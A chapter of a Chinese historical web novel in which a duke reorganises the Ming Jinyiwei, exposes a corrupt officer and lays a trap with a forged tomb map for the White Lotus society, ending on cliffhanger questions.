雪花细碎,落在北镇抚司衙门的黑瓦上,落在门口那对石狻猊头顶,很快就积了薄薄一层。
衙门里头却热火朝天——不是暖和,是人心焦灼。
锦衣卫指挥使周大山坐在大堂上首,虎着脸,手指一下下敲着太师椅扶手。
底下站着几十号人,从指挥同知、佥事到各所千户、百户,个个穿着飞鱼服、佩着绣春刀,可脸色一个比一个难看。
堂中炭盆烧得噼啪响,可没人觉得暖。
“都到齐了?”周大山开口,声音粗粝。
一个指挥佥事躬身:“回国公爷,指挥使大人,南北镇抚司在京千户以上官员,共计四十八员,全到了。”
周大山点头,侧身看向坐在他左手边的苏惟瑾。
今日苏惟瑾穿的是国公蟒袍,玉带束腰,外头披了件玄狐大氅。
他没戴官帽,只简单束了发,可往那儿一坐,整个大堂的气压都低了三分。
“诸位,”苏惟瑾开口,声音不大,却清晰地传到每个人耳中。
今日召大家来,是议一件关乎锦衣卫前程的大事。
底下众人屏息凝神。
“锦衣卫自洪武十五年设立,至今已一百六十年。”苏惟瑾缓缓道。
这一百六十年,锦衣卫为朝廷立过功、也惹过祸。
有功,当赏;有弊,当改。
他顿了顿,目光扫过众人:“今日之锦衣卫,南北镇抚司权责不清,内卫外事混杂,办事拖沓,甚至有人以权谋私、贪赃枉法——这些,诸位心里都清楚。”
几个老资格的千户脸上挂不住,低头避开目光。
“所以,”苏惟瑾站起身。
本公奏请陛下,改制锦衣卫。
他从袖中取出一卷黄绢,展开:“奉天承运皇帝,诏曰:今锦衣卫内外不分,权责混淆,特改制如下。”
一、原锦衣卫分为二部,一部仍称“锦衣卫”,专司国内监察、缉捕、刑狱。
一部新设“皇明缉事司”,专司对外情报、渗透、策反。
“二、锦衣卫指挥使由周大山兼任,陆松任指挥同知,协理事务。”
“三、皇明缉事司指挥使由陆松兼任,周大山兼指挥同知。”
两部互为表里,互不统属,皆直隶于陛下。
诏书念完,大堂里死一般寂静。
改制!
分权!
有人欢喜有人愁——那些周大山提拔起来的少壮派,早就觉得锦衣卫暮气沉沉,盼着改革。
而那些靠着祖荫混日子的老油条,则如丧考妣。
沉默片刻,一个千户站出来。
这人姓李,叫李德昌,是世袭千户,祖上跟着永乐爷靖难有功,传到他这代已经五世。
五十来岁年纪,胖得飞鱼服都快撑破了。
“国公爷,”李德昌拱手,语气带着不满。
祖制不可轻改!
如今贸然分权,怕是……怕是要乱套啊!
这话一出,几个老千户纷纷附和:
“是啊!南北镇抚司分得好好的,何必另设什么缉事司?”
“对外情报?咱们锦衣卫本来就在做啊!”
“这不是多此一举么?”
苏惟瑾静静听着,等他们说得差不多了,才开口:“李千户说祖制不可改——那好,我问你。”
他走下台阶,走到李德昌面前:“你去年八月,奉命查山西私盐案,对吧?”
李德昌一愣:“是……是啊。”
“查到什么了?”
“查到……查到几个私盐贩子,都已法办。”
李德昌眼神闪烁。
“法办了?”苏惟瑾笑了。
那主犯王老虎,现在在哪儿?
李德昌额头冒汗:“王老虎……不是判了斩监候,关在山西按察司大牢么?”
“是么?”苏惟瑾转身。
陆同知,你告诉李千户,王老虎在哪儿。
站在周大山身后的陆松上前一步。
这人三十五六岁,身材修长,面白无须,是陆炳的族弟,陆炳倒台后他审时度势投靠了苏惟瑾,办事干练,很得重用。
“回国公爷,”陆松声音平稳。
王老虎去年九月就被李千户私下放了,收了三千两银子。
如今化名张富贵,在扬州开绸缎庄,上月还纳了第三房小妾。
“你……你血口喷人!”李德昌脸涨成猪肝色。
我有证据!
王老虎的案卷……
“案卷是假的。”陆松从怀中掏出一本账册。
这是王老虎的管家招供的账目,上面清楚记着:嘉靖二十三年八月廿五,送李千户纹银三千两,换家主出狱。
另有山西按察司牢头供词,说当夜是你亲自去提的人。
他把账册扔到李德昌脚前。
李德昌低头看着那账册,手开始抖。
大堂里鸦雀无声。
所有人都看着李德昌,那些刚才还附和他的老千户,此刻悄悄往后退了半步。
苏惟瑾走到李德昌面前,弯腰捡起账册,拍了拍灰:“李千户,现在还说祖制不可改么?”
祖制让你收受贿赂、私放重犯?
“我……我……”李德昌腿一软,瘫跪在地。
苏惟瑾不再看他,转身面向众人,声音冷冽:“改制,不是为了夺谁的权,是为了让锦衣卫更有效!”
内卫整肃国内,揪出李德昌这样的蛀虫。
外卫拓疆海外,为大明搜集四方情报——这才是锦衣卫该做的事!
他顿了顿,一字一句:“有功者,升官发财。”
有异心者——
他踢了踢瘫软在地的李德昌:“这便是下场。”
“来人!”周大山喝道。
扒了他的飞鱼服,押入诏狱!
查抄家产!
两个锦衣卫力士上前,麻利地扒了李德昌的官服,像拖死狗一样拖了出去。
地上留下一道水渍——吓尿了。
满堂肃然。
苏惟瑾坐回座位,语气缓和了些:“改制后,内卫仍驻北镇抚司,外卫在城南另设衙门。”
人员按自愿与考核相结合,重新分配。
愿意去外卫的,饷银加三成,立功重赏。
愿留内卫的,需经严格审查,清除害群之马。
他看向陆松:“陆指挥使,外卫第一件差事——查清白莲社底细,尤其是‘火堂’。”
他们在西安、南京的活动,我要在三个月内看到详报。
“下官领命!”陆松躬身。
“周指挥使,”苏惟瑾又看向周大山。
内卫第一件差事——肃清锦衣卫内部。
凡有贪赃枉法、勾结外敌者,严惩不贷。
“得令!”周大山抱拳。
……
改制推进得很快。
有李德昌这个前车之鉴,没人敢再公开反对。
三天内,锦衣卫四千多名在编人员全部重新登记,自愿选择去向。
结果出乎意料——近六成的人选了外卫。
尤其是那些年轻、有冲劲的,谁不想饷银加三成?
谁不想去海外建功立业?
陆松忙得脚不沾地。
他在城南买了处三进大宅子,挂上“皇明缉事司”的牌子,又从格物大学挑了二十名精通算学、地理的学子做文员,还从月港水师借调了几个懂番话的老水手当教习。
外卫的培训内容也是苏惟瑾亲自定的:番话(葡萄牙语、日语、朝鲜语)、绘图、密码、伪装、策反……
全是这个时代闻所未闻的东西。
内卫这边,周大山雷厉风行。
借着整顿的机会,一口气查办了七个有问题的千户、百户,抄出的赃银堆满了半个库房。
剩下的个个夹紧尾巴,办事效率居然真提高了不少。
……
十一月初八,外卫衙门。
陆松正在看一份刚送来的密报,眉头紧锁。
门被推开,周大山裹着一身寒气进来:“老陆,有眉目了?”
“有点。”陆松把密报推过去。
西安那边,咱们的人盯了那个‘古董商人’半个月,发现他们不止在秦王陵转悠,还偷偷去过一趟华清池——就杨贵妃洗澡那地方。
周大山接过密报,看了几眼,挠头:“华清池?”
那儿有啥?
“不知道。”陆松摇头。
但更怪的是,咱们的人发现,那伙人里头有个老头,走路姿势有点特别——左脚微跛。
我让人查了,二十年前西安一带,有个专修古墓的张姓匠人,也是左脚微跛。
周大山眼睛一亮:“张姓匠人?”
鲁小锤爷爷的师父?
“对。”陆松压低声音。
我怀疑,这老头就是当年那个张匠人。
他既然还在西安活动,说明白莲社在西安的巢穴没断根。
“那还等啥?抓啊!”
“不能打草惊蛇。”陆松道。
国公爷交代了,要放长线。
而且……
他顿了顿:“李文渊那边也出了状况。”
匿名信之后,又有人直接找上他家——是个女人,自称是他曾祖父旧部之女,说那页笔记关乎一桩天大秘密,让他务必交出来。
“女人?”周大山皱眉。
长啥样?
“三十来岁,模样普通,但右手虎口有老茧,是常年握刀握出来的。”陆松道。
咱们的人盯梢,眼见她进了南京徐有仁在京的一处别院。
周大山一拍桌子:“果然跟徐有仁那老小子有关!”
“不止。”陆松从抽屉里又取出一封信。
这是今早截获的,从西安发往南京的密信。
用的密码很老,但咱们新来的密码课教习给破译了。
周大山接过信纸,上面只有一行译出的字:
“火种已现,鲁、李二人皆可用。速备‘地宫图’,十日内西安会合。”
“火种……”周大山喃喃道。
鲁小锤和李文渊?
他们有什么用?
陆松摇头:“不清楚。”
但‘地宫图’……我怀疑就是秦王陵密道的全图。
白莲社找这张图找了百年,现在突然急了——说明他们觉得时机到了。
“什么时机?”
陆松看向窗外飘飞的雪:“国公爷说,白莲社的目标恐怕不只是颠覆朝廷。”
他们谋划百年,牵扯到前朝太监、白霜火药、古墓机关……
所图一定极大。
正说着,外头传来脚步声。
苏惟瑾推门进来,肩头还落着雪。
“公子!”两人起身。
苏惟瑾摆摆手,走到炭盆前烤手:“说曹操曹操到——我刚从宫里出来,陛下准了外卫的第一批海外派遣:去日本、朝鲜、琉球、南洋,设立情报站。”
他转身看向陆松:“三个月内,我要看到这四个地方的情报网初具雏形。”
钱、人、船,我都给你。
“下官必不辱命!”陆松激动道。
“至于白莲社……”苏惟瑾眼神转冷。
他们要地宫图,就让他们要。
陆松,你找几个信得过的匠人,仿制一张‘地宫图’——真的咱们留着,假的给他们。
周大山疑惑:“公子,这……”
“钓鱼。”苏惟瑾淡淡道。
他们拿到图,一定会去秦王陵。
咱们就在那儿,等他们入瓮。
他顿了顿:“鲁小锤和李文渊那边,加强保护。”
但不要限制他们自由——尤其是鲁小锤,他那些木工机关的思路,或许正是解开地宫机关的关键。
陆松恍然:“您是想……将计就计?”
让白莲社以为控制了这两个孩子,实则他们是为咱们探路的?
苏惟瑾点头:“白莲社要找的‘火种’,或许是某种特殊天赋。”
鲁小锤对机关的天赋,李文渊对火药的执着——这些,可能都是他们需要的。
他走到窗前,望着漫天飞雪:“百年阴谋,该收网了。”
窗外,雪越下越大。
而此刻,鲁小锤正在格物大学的研究社里,对着一堆木料发呆。
他无意识地摆弄着几个榫卯,脑中忽然闪过一个念头——如果把这些榫卯做成活动的,用齿轮联动,是不是能造出真正能负重行走的木牛流马?
这个念头,与地宫中那具“自行木人”残骸的修复图,惊人地相似。
仿佛有只看不见的手,在冥冥中引导着他。
苏惟瑾设下陷阱,以假地宫图引诱白莲社。
但白莲社要鲁小锤和李文渊这两颗“火种”究竟有何用?
张姓匠人重现西安,是否意味着白莲社百年布局进入最后阶段?
更诡异的是,陆松在整理外卫旧档时,发现一份正统年间的密报,上面记载着:“王振命刘顺密修秦王陵地宫,实为藏匿‘太祖遗宝’。”
这“太祖遗宝”是什么?
竟值得白莲社追寻百年?
而就在假地宫图送出的当夜,鲁小锤在睡梦中无意识地在纸上画出了一个复杂的机关图——与他白天所想的木牛流马截然不同,倒像某种古老祭祀仪器的构造。
这张图被暗中保护他的锦衣卫发现,连夜送到苏惟瑾手中。
苏惟瑾只看了一眼,脸色就变了:这图的样式,竟与嘉靖帝飞升前夜,鹤岑国师呈上的“登仙台机关总图”的某个局部,有八成相似!
难道鲁小锤的“天赋”,与飞升大典也有关联?
白莲社、前朝太监、飞升阴谋、太祖遗宝……
这些线索缠绕在一起,指向一个令人不寒而栗的可能:百年前就有人开始策划一场颠覆大明国运的惊天仪式!
而鲁小锤和李文渊,竟是这仪式中不可或缺的“钥匙”?